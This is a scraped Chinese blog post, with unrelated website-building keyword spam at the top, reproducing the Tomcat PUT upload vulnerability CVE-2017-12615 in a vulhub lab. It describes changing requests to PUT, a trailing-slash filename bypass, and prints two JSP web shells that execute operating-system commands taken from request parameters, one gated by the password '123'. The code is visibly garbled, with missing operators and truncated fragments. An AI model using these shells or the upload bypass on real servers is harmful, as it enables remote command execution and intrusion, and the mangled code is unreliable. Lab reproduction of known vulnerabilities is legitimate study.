网站建设优化扬州,贵州网站建设公司推荐,专门做爬虫的网站,ui设计网站成品图片漏洞背景#xff1a;tomcat(7.0.0-7.8.1)服务器,开启了HTTP PUT请求方法#xff0c;web.xml文件中的readonly值设置未false漏洞环境#xff1a;使用vulhub环境#xff0c;直接dockers安装安装成功#xff1a;安装vulhub详见#xff1a;https://vulhub.org/#/index/漏洞利… 漏洞背景 tomcat(7.0.0-7.8.1)服务器,开启了HTTP PUT请求方法web.xml文件中的readonly值设置未false漏洞环境使用vulhub环境直接dockers安装安装成功安装vulhub详见 https://vulhub.org/#/index/漏洞利用直接抓包进行修改 1、修改为put方法 2、写入shell测试是否开启PUT方法写入shell(注意需要在文件名后面加上一个/进行过滤绕过未加/会报错如果写入一个txt文件则不用加/且不会报错)测试结果shell(linux下使用我之前用了一个Windows的执行报错)java importpublic static String excuteCmd(String c) { StringBuilder line new StringBuilder(); try { Process pro Runtime.getRuntime().exec(c); BufferedReader buf new BufferedReader(new InputStreamReader(pro.getInputStream())); String temp null; while ((temp buf.readLine()) ! null) { line.append(temp \\n); } buf.close(); } catch (Exception e) { line.append(e.getMessage()); } return line.toString();} % if(else{out.println(:-));}%shell(windows未使用过一个大佬的复现使用的) if(123.equals(request.getParameter(pwd))){ java.io.InputStream in Runtime.getRuntime().exec(request.getParameter(cmd)).getInputStream(); int a -1; byte[] b new byte[1024]; out.print(); while((ain.read(b))!-1){ out.println(new String(b)); } out.print( } %后续再试着使用其它的shell及工具(CVE-2017-12615漏洞利用工具)进行测试提高效率